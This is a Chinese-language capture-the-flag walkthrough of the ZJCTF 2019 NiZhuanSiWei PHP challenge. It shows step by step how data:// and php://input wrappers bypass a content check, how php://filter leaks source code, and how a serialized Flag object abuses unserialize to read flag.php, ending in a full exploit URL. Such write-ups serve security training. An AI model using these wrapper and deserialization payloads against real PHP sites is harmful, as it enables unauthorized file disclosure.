伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei

打开题目

伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei_第1张图片

代码审计

第一层绕过

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "

".file_get_contents($text,'r')."


";

要求我们get传参的text内容必须为welcome to the zjctf,才能下一步

解法1

用php://input协议写入,然后把内容post上

伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei_第2张图片

成功写入

解法2

当然这里也可以用data伪协议

我们先把内容进行base64编码

伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei_第3张图片

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei_第4张图片

成功绕过

第二层绕过

    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

我们用get姿势传入的file值,这里用正则限制了file参数里面不能含有 /flag/

如果不含有 /flag/ 的话,这里提示了我们有个useless.php,然后这里对我们get传参的password进行了反序列化并输出,

这里我们用伪协议读取useless.php文件

我们用php://filter协议

&file=php://filter/read=convert.base64-encode/resource=useless.php

伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei_第5张图片

base64解码得到

伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei_第6张图片

得到代码

第三层绕过

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "
";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 

在这里用tostring函数限制了flie参数必须为字符串,然后输出包含的文件

进行序列化操作后

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei_第7张图片

查看源代码得到flag

伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei_第8张图片

你可能感兴趣的:(算法)